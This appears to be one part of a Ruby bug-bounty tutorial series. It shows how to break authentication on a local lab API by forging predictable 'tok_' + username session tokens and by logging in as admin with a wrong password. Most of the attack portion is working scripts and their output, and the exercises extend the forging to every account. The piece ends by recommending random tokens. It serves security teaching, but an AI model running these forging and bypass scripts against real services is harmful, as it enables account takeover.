// Bug Bounty Automation in Ruby · Part 4

Breaking authentication

Part 3 abused what a token was allowed to do. Now we attack the token itself — and the login that hands it out. We forge an admin session from the username alone, then get one with a garbage password, and learn what a real token has to look like.

RubyAuthenticationTokensSecureRandom
4 min read

In Part 3 we had a valid token and abused what it could reach. This part is more fundamental: we go after authentication — proving who you are — rather than authorization. If you can mint a valid session for someone else, every authorization check downstream is moot, because the server already believes you’re them.

Two things make that possible here, and both are real bug classes you’ll meet in the wild. Start auth.rb with the usual authenticated GET:

require 'net/http'
require 'json'
require 'uri'
require 'securerandom'

BASE = 'http://127.0.0.1:4567'

def get(path, token)
  uri = URI("#{BASE}#{path}")
  req = Net::HTTP::Get.new(uri)
  req['Authorization'] = "Bearer #{token}"
  Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end

The token is a pattern, not a secret

Back in Part 1 we logged in as alice and got tok_alice. Look at that string. It’s the word tok_ glued to the username — which means it isn’t a secret at all, it’s a template you can fill in. Build tokens for names we never logged in as and see who the server thinks we are:

%w[alice bob admin].each do |name|
  token = "tok_#{name}"
  res = get('/api/me', token)
  who = res.code.to_i == 200 ? JSON.parse(res.body)['role'] : 'rejected'
  puts "  #{token.ljust(12)} -> #{who}"
end

"tok_#{name}" builds each guess by interpolation. We never authenticated as anyone here — we just asserted a token and asked /api/me to confirm it:

$ ruby auth.rb
  tok_alice    -> user
  tok_bob      -> user
  tok_admin    -> admin

tok_admin works, and it’s an admin session. We forged it from three known letters and a guessed username. A session token has exactly one job — to be unguessable — and this one is a fill-in-the-blank.

The login doesn’t check the password

There’s a second, independent hole. The forge above assumed we’d seen one token and spotted the pattern. But we don’t even need that: the /login endpoint hands out a token for any name, and never checks the password. Watch:

def login(name, password)
  res = Net::HTTP.post(URI("#{BASE}/login"),
                       { 'name' => name, 'pass' => password }.to_json,
                       'Content-Type' => 'application/json')
  JSON.parse(res.body)['token']
end

admin = login('admin', 'not-even-close')
role  = JSON.parse(get('/api/me', admin).body)['role']
puts "[+] logged in as admin with a junk password -> #{admin} (#{role})"
$ ruby auth.rb
...
[+] logged in as admin with a junk password -> tok_admin (admin)

We sent not-even-close as the password and the server issued the admin token anyway. Either bug alone is a full account takeover; together they’re two different front doors to the same admin session.

What a token should look like

The fix for both is worth seeing, because it’s what you’ll recommend in the report. A real token is random, not derived from anything about the user — so it can’t be guessed or rebuilt. Ruby’s securerandom makes one:

puts "a real token: #{SecureRandom.hex(32)}"
$ ruby auth.rb
...
a real token: 9f2c8a1e...  (64 hex chars, 256 bits of entropy)

That’s 256 bits of randomness — no pattern, no username in it, not brute-forceable in any human timescale. Two rules fall out of this part: verify the password before issuing anything, and make the thing you issue random. An API that skips either hands out admin for free.

Takeaways

  • Predictable tokens are an auth bypass. If a session token is built from the username (or a counter, or a timestamp), you can forge one for any account. Look at your own token first — its structure is the tell.
  • Missing password verification: a /login that returns a token regardless of the password is a takeover on its own. Send a deliberately wrong password and see if you still get in.
  • "tok_#{name}" and SecureRandom.hex(n) are two ends of the spectrum: guessable string-building versus real entropy.
  • Authentication sits under authorization. Break it and every permission check above it is decoration.

Exercises

  1. You saw tok_admin works. Confirm the whole platform is exposed: forge each user’s token and print their balance from /api/me, no logins at all.
  2. A slightly less obvious scheme is Base64 of the username. Encode admin with require 'base64'; Base64.strict_encode64('admin') and reason about why encoding is not the same as securing.
  3. Combine this with Part 3: log in as alice with any password, then use the admin-stats BFLA — how much of the platform can you touch starting from a single guessed name?

Next — Part 5: we stop handing the server the inputs it expects. We fuzz — throwing crafted fields and values at endpoints — and trip the lab’s mass-assignment bug into making us rich.

← All parts